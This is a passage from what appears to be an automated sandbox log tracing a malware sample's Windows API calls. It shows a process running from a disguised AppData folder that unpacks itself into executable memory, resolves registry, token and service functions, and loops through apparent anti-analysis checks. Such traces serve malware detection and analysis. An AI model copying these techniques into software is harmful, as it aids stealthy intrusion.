_File=0x74412628) returned 0 [0301.864] _fileno (_File=0x74412628) returned 1 [0301.864] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0301.864] LocalFree (hMem=0xdc5330) returned 0x0 [0301.864] __iob_func () returned 0x74412608 [0301.864] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2728, dwLanguageId=0x0, lpBuffer=0x9fefc0, nSize=0x0, Arguments=0x9fefbc | out: lpBuffer="䨠Ü歷\x9f⪝Ğ☨瑁✨") returned 0x9 [0301.864] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0301.864] _fileno (_File=0x74412628) returned 1 [0301.864] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.864] GetFileType (hFile=0x90) returned 0x2 [0301.864] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9fef8c | out: lpMode=0x9fef8c) returned 1 [0301.864] _fileno (_File=0x74412628) returned 1 [0301.864] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0301.864] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9feeec, nSize=0x50 | out: lpBuffer="\x02") returned 0x0 [0301.864] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 9 [0301.868] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0301.868] _fileno (_File=0x74412628) returned 1 [0301.868] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0301.868] LocalFree (hMem=0xdc4a20) returned 0x0 [0301.868] GetNameInfoW (in: pSockaddr=0x11e5440*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), SockaddrLength=0x10, pNodeBuffer=0x9fef48, NodeBufferSize=0x41, pServiceBuffer=0x0, ServiceBufferSize=0x0, Flags=2 | out: pNodeBuffer="127.0.0.1", pServiceBuffer=0x0) returned 0 [0301.868] __iob_func () returned 0x74412608 [0301.868] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x274f, dwLanguageId=0x0, lpBuffer=0x9fef1c, nSize=0x0, Arguments=0x9fef18 | out: lpBuffer="뗨Ý\x9fᰨĞ☨瑁❏") returned 0x5c [0301.868] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0301.868] _fileno (_File=0x74412628) returned 1 [0301.868] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.868] GetFileType (hFile=0x90) returned 0x2 [0301.868] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9feee8 | out: lpMode=0x9feee8) returned 1 [0301.868] _fileno (_File=0x74412628) returned 1 [0301.868] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0301.868] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9fee48, nSize=0x50 | out: lpBuffer="\x9f犛眕") returned 0x0 [0301.868] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 92 [0301.905] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0301.905] _fileno (_File=0x74412628) returned 1 [0301.905] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0301.905] LocalFree (hMem=0xddb5e8) returned 0x0 [0301.905] __iob_func () returned 0x74412608 [0301.905] FormatMessageW (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x2753, dwLanguageId=0x0, lpBuffer=0x9fef28, nSize=0x0, Arguments=0x9fef24 | out: lpBuffer="뗨Ý\x9fᱟĞ☨瑁❓") returned 0x61 [0301.905] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0301.905] _fileno (_File=0x74412628) returned 1 [0301.905] _get_osfhandle (_FileHandle=1) returned 0x90 [0301.905] GetFileType (hFile=0x90) returned 0x2 [0301.905] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x9feef4 | out: lpMode=0x9feef4) returned 1 [0301.905] _fileno (_File=0x74412628) returned 1 [0301.905] _setmode (_FileHandle=1, _Mode=131072) returned 16384 [0301.906] GetEnvironmentVariableW (in: lpName="OutputEncoding", lpBuffer=0x9fee54, nSize=0x50 | out: lpBuffer="\x02") returned 0x0 [0301.906] fwprintf (in: _Stream=0x74412628, _Format="%ls" | out: _Stream=0x74412628) returned 97 [0301.944] fflush (in: _File=0x74412628 | out: _File=0x74412628) returned 0 [0301.944] _fileno (_File=0x74412628) returned 1 [0301.944] _setmode (_FileHandle=1, _Mode=16384) returned 65536 [0301.944] LocalFree (hMem=0xddb5e8) returned 0x0 [0301.944] IcmpCloseHandle (IcmpHandle=0xdcd820) returned 1 [0301.945] LocalFree (hMem=0xdcec48) returned 0x0 [0301.945] LocalFree (hMem=0xdd6b28) returned 0x0 [0301.945] WSACleanup () returned 0 [0301.961] exit (_Code=0) Thread: id = 369 os_tid = 0x1398 Thread: id = 372 os_tid = 0x358 Thread: id = 373 os_tid = 0xaf0 Process: id = "26" image_name = "xafpqko.exe" filename = "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\qieeyrekuc\\xafpqko.exe" page_root = "0x1af60000" os_pid = "0x1384" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "22" os_parent_pid = "0x1348" cmd_line = "C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe /C" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010927" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 370 os_tid = 0xf34 [0269.268] VirtualAlloc (lpAddress=0x0, dwSize=0xcf000, flAllocationType=0x1000, flProtect=0x40) returned 0x2070000 [0270.692] VirtualAlloc (lpAddress=0x0, dwSize=0x32e10, flAllocationType=0x1000, flProtect=0x4) returned 0x2000000 [0270.692] VirtualProtect (in: lpAddress=0x400000, dwSize=0xcf000, flNewProtect=0x40, lpflOldProtect=0x21330a8 | out: lpflOldProtect=0x21330a8*=0x2) returned 1 [0270.705] GetVersion () returned 0x23f00206 [0271.380] GetTickCount () returned 0x1184360 [0271.380] OleUIConvertA () returned 0x65 [0271.405] OleUIConvertW () returned 0x65 [0272.207] OleUIBusyA () returned 0x65 [0272.207] OleUIBusyA () returned 0x65 [0272.207] GetTickCount () returned 0x118469c [0272.207] OleUninitialize () [0272.207] VirtualProtect (in: lpAddress=0x400000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x21330a8 | out: lpflOldProtect=0x21330a8*=0x40) returned 1 [0272.230] GetProcessId (Process=0x0) returned 0x0 [0272.230] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0272.230] LoadLibraryA (lpLibFileName="USERENV.dll") returned 0x74080000 [0272.238] GetProcAddress (hModule=0x74080000, lpProcName="GetUserProfileDirectoryW") returned 0x740849b0 [0272.238] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0272.238] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x772b0000 [0272.238] GetProcAddress (hModule=0x772b0000, lpProcName="CoSetProxyBlanket") returned 0x76a59510 [0272.238] GetProcAddress (hModule=0x772b0000, lpProcName="CoInitializeSecurity") returned 0x76a89710 [0272.238] GetProcAddress (hModule=0x772b0000, lpProcName="CoUninitialize") returned 0x76a722b0 [0272.238] GetProcAddress (hModule=0x772b0000, lpProcName="CoCreateInstance") returned 0x76a37490 [0272.239] GetProcAddress (hModule=0x772b0000, lpProcName="CoInitializeEx") returned 0x76a72590 [0272.239] GetProcAddress (hModule=0x772b0000, lpProcName="CoInitialize") returned 0x772e6a60 [0272.239] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0272.239] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x74720000 [0272.281] GetProcAddress (hModule=0x74720000, lpProcName="CommandLineToArgvW") returned 0x7487cc20 [0272.281] GetProcAddress (hModule=0x74720000, lpProcName="SHGetFolderPathW") returned 0x748788f0 [0272.281] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0272.281] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x74560000 [0272.281] GetProcAddress (hModule=0x74560000, lpProcName="CloseHandle") returned 0x745ceab0 [0272.282] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentProcessId") returned 0x745cea20 [0272.282] GetProcAddress (hModule=0x74560000, lpProcName="GetEnvironmentVariableW") returned 0x74574fb0 [0272.282] GetProcAddress (hModule=0x74560000, lpProcName="WideCharToMultiByte") returned 0x74576b10 [0272.282] GetProcAddress (hModule=0x74560000, lpProcName="lstrcatA") returned 0x745b70c0 [0272.282] GetProcAddress (hModule=0x74560000, lpProcName="GetEnvironmentVariableA") returned 0x74574f90 [0272.282] GetProcAddress (hModule=0x74560000, lpProcName="MultiByteToWideChar") returned 0x74575c40 [0272.282] GetProcAddress (hModule=0x74560000, lpProcName="lstrlenW") returned 0x74576c70 [0272.283] GetProcAddress (hModule=0x74560000, lpProcName="lstrcatW") returned 0x745b71a0 [0272.283] GetProcAddress (hModule=0x74560000, lpProcName="lstrcpyA") returned 0x745b7060 [0272.283] GetProcAddress (hModule=0x74560000, lpProcName="HeapAlloc") returned 0x77822dc0 [0272.283] GetProcAddress (hModule=0x74560000, lpProcName="HeapFree") returned 0x745757f0 [0272.283] GetProcAddress (hModule=0x74560000, lpProcName="HeapCreate") returned 0x745757b0 [0272.283] GetProcAddress (hModule=0x74560000, lpProcName="VirtualAlloc") returned 0x74576970 [0272.284] GetProcAddress (hModule=0x74560000, lpProcName="GetFileSize") returned 0x745cef30 [0272.284] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpiA") returned 0x74576bd0 [0272.284] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleFileNameA") returned 0x74575070 [0272.284] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentProcess") returned 0x745cea10 [0272.284] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleHandleW") returned 0x745750d0 [0272.284] GetProcAddress (hModule=0x74560000, lpProcName="LoadLibraryW") returned 0x74575ae0 [0272.284] GetProcAddress (hModule=0x74560000, lpProcName="CopyFileW") returned 0x745cf3b0 [0272.285] GetProcAddress (hModule=0x74560000, lpProcName="TerminateProcess") returned 0x745767e0 [0272.285] GetProcAddress (hModule=0x74560000, lpProcName="DeleteFileW") returned 0x745ced40 [0272.285] GetProcAddress (hModule=0x74560000, lpProcName="ResumeThread") returned 0x74576380 [0272.285] GetProcAddress (hModule=0x74560000, lpProcName="GetComputerNameW") returned 0x745a32c0 [0272.285] GetProcAddress (hModule=0x74560000, lpProcName="ReleaseMutex") returned 0x745cec20 [0272.285] GetProcAddress (hModule=0x74560000, lpProcName="GetExitCodeProcess") returned 0x74573c60 [0272.286] GetProcAddress (hModule=0x74560000, lpProcName="SetEnvironmentVariableW") returned 0x745764e0 [0272.286] GetProcAddress (hModule=0x74560000, lpProcName="GetTickCount") returned 0x745cdd50 [0272.286] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleFileNameW") returned 0x74575090 [0272.286] GetProcAddress (hModule=0x74560000, lpProcName="GetSystemInfo") returned 0x745754d0 [0272.286] GetProcAddress (hModule=0x74560000, lpProcName="SetEnvironmentVariableA") returned 0x745764c0 [0272.287] GetProcAddress (hModule=0x74560000, lpProcName="GetVersionExA") returned 0x745756d0 [0272.287] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleHandleA") returned 0x745750b0 [0272.287] GetProcAddress (hModule=0x74560000, lpProcName="SetEvent") returned 0x745cec50 [0272.287] GetProcAddress (hModule=0x74560000, lpProcName="OpenEventA") returned 0x745cebd0 [0272.287] GetProcAddress (hModule=0x74560000, lpProcName="CreateMutexA") returned 0x745ceb40 [0272.288] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentThread") returned 0x74578810 [0272.288] GetProcAddress (hModule=0x74560000, lpProcName="SetLastError") returned 0x74574f00 [0272.288] GetProcAddress (hModule=0x74560000, lpProcName="GetSystemTimeAsFileTime") returned 0x74575530 [0272.288] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpiW") returned 0x74576bf0 [0272.288] GetProcAddress (hModule=0x74560000, lpProcName="MoveFileW") returned 0x745ae500 [0272.288] GetProcAddress (hModule=0x74560000, lpProcName="SetFileAttributesW") returned 0x745cf100 [0272.288] GetProcAddress (hModule=0x74560000, lpProcName="LocalAlloc") returned 0x74575b20 [0272.288] GetProcAddress (hModule=0x74560000, lpProcName="GetLocalTime") returned 0x74575060 [0272.289] GetProcAddress (hModule=0x74560000, lpProcName="lstrcpyW") returned 0x745b7140 [0272.289] GetProcAddress (hModule=0x74560000, lpProcName="CreateDirectoryW") returned 0x745cece0 [0272.289] GetProcAddress (hModule=0x74560000, lpProcName="LoadLibraryA") returned 0x74575a80 [0272.289] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0272.289] GetProcAddress (hModule=0x74560000, lpProcName="GetLastError") returned 0x74575010 [0272.289] GetProcAddress (hModule=0x74560000, lpProcName="CreateEventA") returned 0x745ceb00 [0272.289] GetProcAddress (hModule=0x74560000, lpProcName="SleepEx") returned 0x745cec70 [0272.290] GetProcAddress (hModule=0x74560000, lpProcName="WaitForSingleObject") returned 0x745ceca0 [0272.290] GetProcAddress (hModule=0x74560000, lpProcName="FreeLibrary") returned 0x74574c40 [0272.290] GetProcAddress (hModule=0x74560000, lpProcName="GetDriveTypeW") returned 0x745ceed0 [0272.290] GetProcAddress (hModule=0x74560000, lpProcName="lstrlenA") returned 0x74576c50 [0272.290] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpA") returned 0x74576b90 [0272.290] GetProcAddress (hModule=0x74560000, lpProcName="GetCommandLineW") returned 0x74574cc0 [0272.290] GetProcAddress (hModule=0x74560000, lpProcName="ExitProcess") returned 0x74573cb0 [0272.290] GetProcAddress (hModule=0x74560000, lpProcName="lstrcpynW") returned 0x74576c30 [0272.291] GetProcAddress (hModule=0x74560000, lpProcName="Sleep") returned 0x74576760 [0272.291] GetProcAddress (hModule=0x74560000, lpProcName="SystemTimeToFileTime") returned 0x745767a0 [0272.291] GetProcAddress (hModule=0x74560000, lpProcName="GetSystemTime") returned 0x745754e0 [0272.291] GetProcAddress (hModule=0x74560000, lpProcName="GetWindowsDirectoryW") returned 0x74575730 [0272.291] GetProcAddress (hModule=0x74560000, lpProcName="TerminateThread") returned 0x74576800 [0272.291] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0272.291] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76850000 [0272.292] GetProcAddress (hModule=0x76850000, lpProcName="CharUpperBuffA") returned 0x768c7650 [0272.292] GetProcAddress (hModule=0x76850000, lpProcName="MessageBoxA") returned 0x768bd740 [0272.292] GetProcAddress (hModule=0x76850000, lpProcName="GetClassNameA") returned 0x7686ba80 [0272.292] GetProcAddress (hModule=0x76850000, lpProcName="CharUpperBuffW") returned 0x768c7670 [0272.292] GetProcAddress (hModule=0x76850000, lpProcName="GetSystemMetrics") returned 0x7687ddc0 [0272.292] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0272.292] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x77230000 [0272.293] GetProcAddress (hModule=0x77230000, lpProcName="SetSecurityDescriptorDacl") returned 0x7724f6c0 [0272.293] GetProcAddress (hModule=0x77230000, lpProcName="InitializeSecurityDescriptor") returned 0x7724f870 [0272.293] GetProcAddress (hModule=0x77230000, lpProcName="GetTokenInformation") returned 0x7724ee90 [0272.293] GetProcAddress (hModule=0x77230000, lpProcName="GetSidSubAuthorityCount") returned 0x7724f420 [0272.293] GetProcAddress (hModule=0x77230000, lpProcName="OpenThreadToken") returned 0x7724eeb0 [0272.293] GetProcAddress (hModule=0x77230000, lpProcName="RegDeleteValueW") returned 0x77250580 [0272.293] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryInfoKeyW") returned 0x7724f270 [0272.293] GetProcAddress (hModule=0x77230000, lpProcName="GetSidSubAuthority") returned 0x7724f230 [0272.293] GetProcAddress (hModule=0x77230000, lpProcName="OpenProcessToken") returned 0x7724efb0 [0272.294] GetProcAddress (hModule=0x77230000, lpProcName="RegCloseKey") returned 0x7724ed60 [0272.294] GetProcAddress (hModule=0x77230000, lpProcName="RegUnLoadKeyW") returned 0x77263af0 [0272.294] GetProcAddress (hModule=0x77230000, lpProcName="RegLoadKeyW") returned 0x77263990 [0272.294] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountSidW") returned 0x7724f100 [0272.294] GetProcAddress (hModule=0x77230000, lpProcName="EqualSid") returned 0x7724ffe0 [0272.294] GetProcAddress (hModule=0x77230000, lpProcName="SetServiceStatus") returned 0x77250650 [0272.304] GetProcAddress (hModule=0x77230000, lpProcName="RegisterServiceCtrlHandlerA") returned 0x77263b10 [0272.304] GetProcAddress (hModule=0x77230000, lpProcName="StartServiceCtrlDispatcherA") returned 0x77253b60 [0272.304] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountNameW") returned 0x7724f290 [0272.304] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryValueExW") returned 0x7724e5a0 [0272.304] GetProcAddress (hModule=0x77230000, lpProcName="RegSetValueExW") returned 0x7724f530 [0272.304] GetProcAddress (hModule=0x77230000, lpProcName="ConvertSidToStringSidW") returned 0x7724ed80 [0272.304] GetProcAddress (hModule=0x77230000, lpProcName="RegOpenKeyExW") returned 0x7724e580 [0272.304] GetProcAddress (hModule=0x77230000, lpProcName="RegEnumValueW") returned 0x7724f250 [0272.305] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0272.305] LoadLibraryA (lpLibFileName="msvcrt.dll") returned 0x74360000 [0272.305] GetProcAddress (hModule=0x74360000, lpProcName="memcpy") returned 0x743e7b70 [0272.305] GetProcAddress (hModule=0x74360000, lpProcName="memset") returned 0x743e8360 [0272.305] GetProcAddress (hModule=0x74360000, lpProcName="_ltoa") returned 0x74390600 [0272.305] GetProcAddress (hModule=0x74360000, lpProcName="_vsnwprintf") returned 0x743d5fb0 [0272.305] GetProcAddress (hModule=0x74360000, lpProcName="_vsnprintf") returned 0x743d5b40 [0272.305] GetProcAddress (hModule=0x74360000, lpProcName="_except_handler3") returned 0x743b7d94 [0272.317] GetCurrentThreadId () returned 0xf34 [0272.317] lstrcmpA (lpString1="X=s+0", lpString2=">D_zN@") returned 1 [0272.320] VirtualFree (lpAddress=0x2000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0272.322] GetCommandLineW () returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe /C" [0272.322] CommandLineToArgvW (in: lpCmdLine="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe /C", pNumArgs=0x19ff78 | out: pNumArgs=0x19ff78) returned 0x624140*="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.exe" [0272.323] HeapCreate (flOptions=0x0, dwInitialSize=0x80000, dwMaximumSize=0x0) returned 0x2670000 [0272.325] SetLastError (dwErrCode=0x5) [0272.325] GetLastError () returned 0x5 [0272.325] GetCurrentThread () returned 0xfffffffe [0272.325] SetLastError (dwErrCode=0x9) [0272.325] GetLastError () returned 0x9 [0272.325] GetCurrentThread () returned 0xfffffffe [0272.325] SetLastError (dwErrCode=0xd) [0272.325] GetLastError () returned 0xd [0272.325] GetCurrentThread () returned 0xfffffffe [0272.325] SetLastError (dwErrCode=0x11) [0272.325] GetLastError () returned 0x11 [0272.325] GetCurrentThread () returned 0xfffffffe [0272.325] SetLastError (dwErrCode=0x15) [0272.325] GetLastError () returned 0x15 [0272.325] GetCurrentThread () returned 0xfffffffe [0272.325] SetLastError (dwErrCode=0x19) [0272.326] GetLastError () returned 0x19 [0272.326] GetCurrentThread () returned 0xfffffffe [0272.326] SetLastError (dwErrCode=0x1d) [0272.326] GetLastError () returned 0x1d [0272.326] GetCurrentThread () returned 0xfffffffe [0272.326] SetLastError (dwErrCode=0x21) [0272.326] GetLastError () returned 0x21 [0272.326] GetCurrentThread () returned 0xfffffffe [0272.326] SetLastError (dwErrCode=0x25) [0272.326] GetLastError () returned 0x25 [0272.326] GetCurrentThread () returned 0xfffffffe [0272.326] SetLastError (dwErrCode=0x29) [0272.326] GetLastError () returned 0x29 [0272.326] GetCurrentThread () returned 0xfffffffe [0272.326] SetLastError (dwErrCode=0x2d) [0272.326] GetLastError () returned 0x2d [0272.326] GetCurrentThread () returned 0xfffffffe [0272.326] SetLastError (dwErrCode=0x31) [0272.326] GetLastError () returned 0x31 [0272.326] GetCurrentThread () returned 0xfffffffe [0272.326] SetLastError (dwErrCode=0x35) [0272.326] GetLastError () returned 0x35 [0272.326] GetCurrentThread () returned 0xfffffffe [0272.326] SetLastError (dwErrCode=0x39) [0272.326] GetLastError () returned 0x39 [0272.326] GetCurrentThread () returned 0xfffffffe [0272.326] SetLastError (dwErrCode=0x3d) [0272.326] GetLastError () returned 0x3d [0272.326] GetCurrentThread () returned 0xfffffffe [0272.326] SetLastError (dwErrCode=0x41) [0272.326] GetLastError () returned 0x41 [0272.326] GetCurrentThread () returned 0xfffffffe [0272.327] SetLastError (dwErrCode=0x45) [0272.327] GetLastError () returned 0x45 [0272.327] GetCurrentThread () returned 0xfffffffe [0272.327] SetLastError (dwErrCode=0x49) [0272.327] GetLastError () returned 0x49 [0272.327] GetCurrentThread () returned 0xfffffffe [0272.327] SetLastError (dwErrCode=0x4d) [0272.327] GetLastError () returned 0x4d [0272.327] GetCurrentThread () returned 0xfffffffe [0272.327] SetLastError (dwErrCode=0x51) [0272.327] GetLastError () returned 0x51 [0272.327] GetCurrentThread () returned 0xfffffffe [0272.327] SetLastError (dwErrCode=0x55) [0272.327] GetLastError () returned 0x55 [0272.327] GetCurrentThread () returned 0xfffffffe [0272.327] SetLastError (dwErrCode=0x59) [0272.327] GetLastError () returned 0x59 [0272.327] GetCurrentThread () returned 0xfffffffe [0272.327] SetLastError (dwErrCode=0x5d) [0272.327] GetLastError () returned 0x5d [0272.327] GetCurrentThread () returned 0xfffffffe [0272.327] SetLastError (dwErrCode=0x61) [0272.327] GetLastError () returned 0x61 [0272.327] GetCurrentThread () returned 0xfffffffe [0272.327] SetLastError (dwErrCode=0x65) [0272.327] GetLastError () returned 0x65 [0272.327] GetCurrentThread () returned 0xfffffffe [0272.327] SetLastError (dwErrCode=0x69) [0272.327] GetLastError () returned 0x69 [0272.327] GetCurrentThread () returned 0xfffffffe [0272.327] SetLastError (dwErrCode=0x6d) [0272.327] GetLastError () returned 0x6d [0272.328] GetCurrentThread () returned 0xfffffffe [0272.328] SetLastError (dwErrCode=0x71) [0272.328] GetLastError () returned 0x71 [0272.328] GetCurrentThread () returned 0xfffffffe [0272.328] SetLastError (dwErrCode=0x75) [0272.328] GetLastError () returned 0x75 [0272.328] GetCurrentThread () returned 0xfffffffe [0272.328] SetLastError (dwErrCode=0x79) [0272.328] GetLastError () returned 0x79 [0272.328] GetCurrentThread () returned 0xfffffffe [0272.328] SetLastError (dwErrCode=0x7d) [0272.328] GetLastError () returned 0x7d [0272.328] GetCurrentThread () returned 0xfffffffe [0272.328] SetLastError (dwErrCode=0x81) [0272.328] GetLastError () returned 0x81 [0272.328] GetCurrentThread () returned 0xfffffffe [0272.328] SetLastError (dwErrCode=0x85) [0272.328] GetLastError () returned 0x85 [0272.328] GetCurrentThread () returned 0xfffffffe [0272.328] SetLastError (dwErrCode=0x89) [0272.328] GetLastError () returned 0x89 [0272.328] GetCurrentThread () returned 0xfffffffe [0272.328] SetLastError (dwErrCode=0x8d) [0272.328] GetLastError () returned 0x8d [0272.328] GetCurrentThread () returned 0xfffffffe [0272.328] SetLastError (dwErrCode=0x91) [0272.328] GetLastError () returned 0x91 [0272.328] GetCurrentThread () returned 0xfffffffe [0272.328] SetLastError (dwErrCode=0x95) [0272.328] GetLastError () returned 0x95 [0272.328] GetCurrentThread () returned 0xfffffffe [0272.329] SetLastError (dwErrCode=0x99) [0272.329] GetLastError () returned 0x99 [0272.329] GetCurrentThread () returned 0xfffffffe [0272.329] SetLastError (dwErrCode=0x9d) [0272.329] GetLastError () returned 0x9d [0272.329] GetCurrentThread () returned 0xfffffffe [0272.329] SetLastError (dwErrCode=0xa1) [0272.329] GetLastError () returned 0xa1 [0272.329] GetCurrentThread () returned 0xfffffffe [0272.329] SetLastError (dwErrCode=0xa5) [0272.329] GetLastError () returned 0xa5 [0272.329] GetCurrentThread () returned 0xfffffffe [0272.329] SetLastError (dwErrCode=0xa9) [0272.329] GetLastError () returned 0xa9 [0272.329] GetCurrentThread () returned 0xfffffffe [0272.329] SetLastError (dwErrCode=0xad) [0272.329] GetLastError () returned 0xad [0272.329] GetCurrentThread () returned 0xfffffffe [0272.329] SetLastError (dwErrCode=0xb1) [0272.329] GetLastError () returned 0xb1 [0272.329] GetCurrentThread () returned 0xfffffffe [0272.329] SetLastError (dwErrCode=0xb5) [0272.329] GetLastError () returned 0xb5 [0272.329] GetCurrentThread () returned 0xfffffffe [0272.329] SetLastError (dwErrCode=0xb9) [0272.329] GetLastError () returned 0xb9 [0272.329] GetCurrentThread () returned 0xfffffffe [0272.329] SetLastError (dwErrCode=0xbd) [0272.329] GetLastError () returned 0xbd [0272.329] GetCurrentThread () returned 0xfffffffe [0272.329] SetLastError (dwErrCode=0xc1) [0272.329] GetLastError () returned 0xc1 [0272.330] GetCurrentThread () returned 0xfffffffe [0272.330] SetLastError (dwErrCode=0xc5) [0272.330] GetLastError () returned 0xc5 [0272.330] GetCurrentThread () returned 0xfffffffe [0272.330] SetLastError (dwErrCode=0xc9) [0272.330] GetLastError () returned 0xc9 [0272.330] GetCurrentThread () returned 0xfffffffe [0272.330] SetLastError (dwErrCode=0xcd) [0272.330] GetLastError () returned 0xcd [0272.330] GetCurrentThread () returned 0xfffffffe [0272.330] SetLastError (dwErrCode=0xd1) [0272.330] GetLastError () returned 0xd1 [0272.330] GetCurrentThread () returned 0xfffffffe [0272.330] SetLastError (dwErrCode=0xd5) [0272.330] GetLastError () returned 0xd5 [0272.330] GetCurrentThread () returned 0xfffffffe [0272.330] SetLastError (dwErrCode=0xd9) [0272.330] GetLastError () returned 0xd9 [0272.330] GetCurrentThread () returned 0xfffffffe [0272.330] SetLastError (dwErrCode=0xdd) [0272.330] GetLastError () returned 0xdd [0272.330] GetCurrentThread () returned 0xfffffffe [0272.330] SetLastError (dwErrCode=0xe1) [0272.330] GetLastError () returned 0xe1 [0272.330] GetCurrentThread () returned 0xfffffffe [0272.330] SetLastError (dwErrCode=0xe5) [0272.330] GetLastError () returned 0xe5 [0272.330] GetCurrentThread () returned 0xfffffffe [0272.330] SetLastError (dwErrCode=0xe9) [0272.330] GetLastError () returned 0xe9 [0272.330] GetCurrentThread () returned 0xfffffffe [0272.331] SetLastError (dwErrCode=0xed) [0272.331] GetLastError () returned 0xed [0272.331] GetCurrentThread () returned 0xfffffffe [0272.331] SetLastError (dwErrCode=0xf1) [0272.331] GetLastError () returned 0xf1 [0272.331] GetCurrentThread () returned 0xfffffffe [0272.331] SetLastError (dwErrCode=0xf5) [0272.331] GetLastError () returned 0xf5 [0272.331] GetCurrentThread () returned 0xfffffffe [0272.331] SetLastError (dwErrCode=0xf9) [0272.331] GetLastError () returned 0xf9 [0272.331] GetCurrentThread () returned 0xfffffffe [0272.331] SetLastError (dwErrCode=0xfd) [0272.331] GetLastError () returned 0xfd [0272.331] GetCurrentThread () returned 0xfffffffe [0272.331] SetLastError (dwErrCode=0x101) [0272.331] GetLastError () returned 0x101 [0272.331] GetCurrentThread () returned 0xfffffffe [0272.331] SetLastError (dwErrCode=0x105) [0272.331] GetLastError () returned 0x105 [0272.331] GetCurrentThread () returned 0xfffffffe [0272.331] SetLastError (dwErrCode=0x109) [0272.331] GetLastError () returned 0x109 [0272.331] GetCurrentThread () returned 0xfffffffe [0272.331] SetLastError (dwErrCode=0x10d) [0272.331] GetLastError () returned 0x10d [0272.331] GetCurrentThread () returned 0xfffffffe [0272.331] SetLastError (dwErrCode=0x111) [0272.331] GetLastError () returned 0x111 [0272.331] GetCurrentThread () returned 0xfffffffe [0272.331] SetLastError (dwErrCode=0x115) [0272.331] GetLastError () returned 0x115 [0272.332] GetCurrentThread () returned 0xfffffffe [0272.332] SetLastError (dwErrCode=0x119) [0272.332] GetLastError () returned 0x119 [0272.332] GetCurrentThread () returned 0xfffffffe [0272.332] SetLastError (dwErrCode=0x11d) [0272.332] GetLastError () returned 0x11d [0272.332] GetCurrentThread () returned 0xfffffffe [0272.332] SetLastError (dwErrCode=0x121) [0272.332] GetLastError () returned 0x121 [0272.332] GetCurrentThread () returned 0xfffffffe [0272.332] SetLastError (dwErrCode=0x125) [0272.332] GetLastError () returned 0x125 [0272.332] GetCurrentThread () returned 0xfffffffe [0272.332] SetLastError (dwErrCode=0x129) [0272.332] GetLastError () returned 0x129 [0272.332] GetCurrentThread () returned 0xfffffffe [0272.332] SetLastError (dwErrCode=0x12d) [0272.332] GetLastError () returned 0x12d [0272.332] GetCurrentThread () returned 0xfffffffe [0272.332] SetLastError (dwErrCode=0x131) [0272.332] GetLastError () returned 0x131 [0272.332] GetCurrentThread () returned 0xfffffffe [0272.332] SetLastError 